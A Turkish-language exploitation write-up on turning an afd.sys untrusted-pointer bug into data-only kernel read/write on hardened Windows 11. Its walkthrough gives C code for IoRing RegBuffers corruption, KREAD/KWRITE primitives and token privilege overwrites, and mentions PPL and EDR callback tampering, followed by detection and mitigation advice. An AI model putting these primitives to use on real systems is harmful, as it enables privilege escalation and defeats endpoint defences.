Skip to content

AFD.sys arbitrary pointer deref -> R/W (Win11, post-patch class)

Bir WinSock/AFD-class kernel driver içinde, kullanıcının verdiği bir pointer'ın doğrulanmadan dereference edilmesi bir write-what/read-where seed verir; tamamen sertleştirilmiş bir Windows 11'de (VBS/HVCI + kCFG) bu seed, shellcode execution yerine data-only arbitrary kernel read/write'a dönüştürülür.

Mechanism

Untrusted pointer dereference neden HVCI altında tam bir R/W seed sayılır

WinSock için Ancillary Function Driver (afd.sys), Winsock çağrılarını kernel'e taşıyan aracıdır. Birçok afd.sys IOCTL handler'ı, user mode'dan embedded pointer içeren bir structure alır (socket-descriptor metadata, bir output buffer, bir context object) ve bunu önce user space'e işaret ettiğini ya da başka türlü güvenilir olduğunu doğrulamadan dereference eder. Microsoft bunu CWE-822, untrusted pointer dereference olarak takip eder; güncel örnekler CVE-2025-49661 ve CVE-2025-60719 (AFD WinSock LPE, desteklenen tüm Windows 11 build'leri). Aynı primitive sınıfı third-party driver'larda da görülür, örneğin AMD atdcm64a.sys, ki HN Security burada tam bir Windows 11 chain'i yayınladı.

Bug'ın kırdığı invariant: bir kernel routine'i, user-controlled bir buffer'dan okuduğu her pointer'ı düşman olarak ele almalıdır (ya probe etmeli, ya da onu yalnızca bir handle/offset olarak yorumlamalı, asla kernel pointer olarak değil). Bu invariant başarısız olduğunda, kernel'in okuduğu ya da yazdığı address'i attacker kontrol eder. Bu tek başına, attacker'ın seçtiği p ile *p / *p = x demektir — bir write-what-where ya da read-where seed.

Legacy bir makinede bu seed genellikle RIP control'e yükseltilir: bir function pointer'ı corrupt et, pivot yap, ROP. VBS/HVCI'lı Windows 11'de bu yol kapalı — HVCI, EPT içinde W^X'i zorlar, dolayısıyla hiçbir attacker page aynı anda hem writable hem executable olamaz ve kCFG kernel indirect call'larının hedeflerini doğrular. Bu yüzden post-patch sınıfı code execution'ı terk eder ve data-only kalır:

  1. Tek seed write'ı, stabil, tekrarlanabilir bir arbitrary R/W'a çevir; bunu, field'ları kendisi kernel'in onurlandıracağı address+length çiftleri olan bir kernel object'i corrupt ederek yap — IoRing registered buffer array (_IORING_OBJECT.RegBuffers, bir _IOP_MC_BUFFER_ENTRY{ Address; Length; ... } array'i).
  2. Bir RegBuffers entry'sinin Address'ini herhangi bir kernel VA'ya yönlendir, sonra bir named pipe'a karşı BuildIoRingReadFile / BuildIoRingWriteFile kullanarak o kernel address'ine byte taşı — temiz, HVCI-legal bir R/W.
  3. R/W'ı data-only privilege escalation için kullan: _TOKEN.Privileges bit'lerini flip et, bir token pointer'ını swap et, bir EDR kernel callback'ini temizle ya da bir process'in PS_PROTECTION (PPL) değerini değiştir. Hiçbir code page asla executable yapılmaz, dolayısıyla HVCI hiç tetiklenmez.

Seed write'ın kendisi, nt!DbgkpTriageDumpRestoreState gibi call-less bir gadget ile kCFG-safe hale getirilir; bu gadget yalnızca register'dan beslenen veri kullanarak kontrollü bir 8-byte write yapar ([RCX+0x10] -> [RDX+0x2078]) — meşru bir function entry'sidir, dolayısıyla kCFG tatmin edilir.

Walkthrough

Driver'a özgü trigger her CVE'de farklıdır; R/W'a dönüşüm ise yeniden kullanılabilir, post-patch kısımdır. HN Security write-up'ı tam chain'i atdcm64a.sys'e karşı gösterir; AFD-class CVE'ler (CVE-2025-49661 / CVE-2025-60719) aynı untrusted-pointer-dereference seed'ini bir Winsock/afd.sys IOCTL'ünden sağlar.

Adım 1 — vulnerable handler'a ulaş. Device'ı aç ve input structure'ı doğrulanmamış pointer'ı içeren IOCTL'ü gönder:

HANDLE h = CreateFileW(L"\\\\.\\Afd", GENERIC_READ|GENERIC_WRITE,
                       0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);

// Input buffer embeds an attacker-controlled kernel pointer in the
// socket-descriptor metadata field the handler dereferences unvalidated.
DeviceIoControl(h, IOCTL_AFD_VULN, &in, sizeof(in), &out, sizeof(out), &ret, NULL);
// -> kernel does *(attacker_ptr) or *(attacker_ptr) = controlled  (the seed)

Adım 2 — IoRing object address'ini leak et. Bir IoRing oluştur ve onun kernel object address'ini NtQuerySystemInformation üzerinden (SystemHandleInformation-tarzı enumeration) çöz, tıpkı HN Security'nin GetKAddrFromHandle()'ının yaptığı gibi:

HIORING ring;
IORING_CREATE_FLAGS flags = {0};
CreateIoRing(IORING_VERSION_3, flags, 1, 1, &ring);
// GetKAddrFromHandle() -> NtQuerySystemInformation -> kernel VA of _IORING_OBJECT
ULONG_PTR ioringKaddr = GetKAddrFromHandle(ring);

Adım 3 — seed write'ı (kCFG-safe gadget) kullanarak _IORING_OBJECT.RegBuffers'ı overwrite et, böylece user-mode bir sahte _IOP_MC_BUFFER_ENTRY array'ine işaret etsin:

// nt!DbgkpTriageDumpRestoreState: writes [RCX+0x10] to [RDX+0x2078]
// Aim it so RegBuffers (and RegBuffersCount) point at fake_buffers[] in user mem.
struct _IOP_MC_BUFFER_ENTRY fake_buffers[1];   // { Address; Length; ... }

Adım 4 — registered buffer üzerinden arbitrary read / write:

// KREAD(target):  pull kernel bytes out through a pipe
fake_buffers[0].Address = (PVOID)target_kaddr;
fake_buffers[0].Length  = len;
BuildIoRingWriteFile(ring, pipeWriteHandle, /*regbuf idx*/0, len, 0, 0, 0);
SubmitIoRing(ring, 1, 0, NULL);
ReadFile(pipeReadHandle, leak, len, &n, NULL);   // leak == kernel bytes

// KWRITE(target): push attacker bytes from a pipe into kernel memory
WriteFile(pipeWriteHandle, payload, len, &n, NULL);
fake_buffers[0].Address = (PVOID)target_kaddr;
BuildIoRingReadFile(ring, pipeReadHandle, 0, len, 0, 0, 0);
SubmitIoRing(ring, 1, 0, NULL);                  // kernel target now == payload

Adım 5 — data-only privilege escalation. KREAD/KWRITE ile mevcut process'in _EPROCESS'ini bul, Token'ı oku ve her privilege bit'ini enable et:

// _TOKEN.Privileges at token + 0x40 (Present/Enabled/EnabledByDefault bitmaps)
UINT64 priv = KREAD64(tokenAddr + 0x40);
KWRITE64(tokenAddr + 0x40 + 0x00, 0x0000001ff2ffffbc); // Present
KWRITE64(tokenAddr + 0x40 + 0x08, 0x0000001ff2ffffbc); // Enabled

Beklenen sonuç: çağıran process artık (örneğin) SeDebugPrivilege ve privilege set'inin geri kalanını tutar; VBS/HVCI/kCFG'nin hepsi enabled olmasına rağmen — hiçbir executable kernel page asla oluşturulmadı.

kCFG altında gadget seçiminin neden önemli olduğu

kCFG yalnızca bir indirect call'ın registered bir function entry'sine indiğini doğrular; o function'ın argümanlarıyla ne yaptığını sınırlandırmaz. nt!DbgkpTriageDumpRestoreState, tesadüfen register-controlled bir 8-byte store yapan ([RCX+0x10] -> [RDX+0x2078]) meşru bir entry'dir. Onu corrupt edilmiş pointer üzerinden çağırmak geçerli bir kCFG target'tır, yine de kontrollü bir kernel write verir — RegBuffers'ı yeniden yönlendirmek için gereken tek write. Oradan sonraki tüm R/W, hiç indirect call içermeyen IoRing data flow'udur.

Post-R/W aşaması (token privilege bitmap overwrite, token swap, PPL toggle, EDR callback removal), stabil bir arbitrary kernel read/write var olduğunda uygulanan generic bir data-only escalation'dır.

Detection

  • Driver Blocklist / WDAC: vulnerable third-party driver'lar (atdcm64a.sys ve benzeri BYOVD signer'lar) Microsoft'un önerdiği vulnerable-driver blocklist'i tarafından kapsanır; onu enable et.
  • ETW / EDR telemetry: sıra dışı bir IoRing oluşturulmasının ardından gelen NtQuerySystemInformation handle enumeration'ı ve non-system bir process'ten gelen named-pipe I/O'su güçlü bir data-only-exploit sinyalidir; çünkü meşru yazılım nadiren kendi IoRing kernel address'ini çözer.
  • AFD IOCTL anomalileri: beklenmedik \Device\Afd IOCTL kodları ya da kernel-range pointer değerleri taşıyan input buffer'lar.

Mitigation

  • AFD WinSock patch'lerini uygula (CVE-2025-49661, CVE-2025-60719 ve sonrası).
  • VBS + HVCI ve kernel CFG / kCFG'yi enable et — bunlar bu data-only chain'i tek başlarına durdurmaz ama çok daha kolay olan code-execution varyantlarını ortadan kaldırır ve attacker'ı daha zor olan R/W yoluna zorlar.
  • IoRing registered-buffer abuse'unu kısıtla: güncel Windows build'leri _IORING_OBJECT handling'ini sertleştirdi; güncel kal.
  • Microsoft'un vulnerable driver blocklist'i + Smart App Control, BYOVD seed için çıtayı yükseltir.

References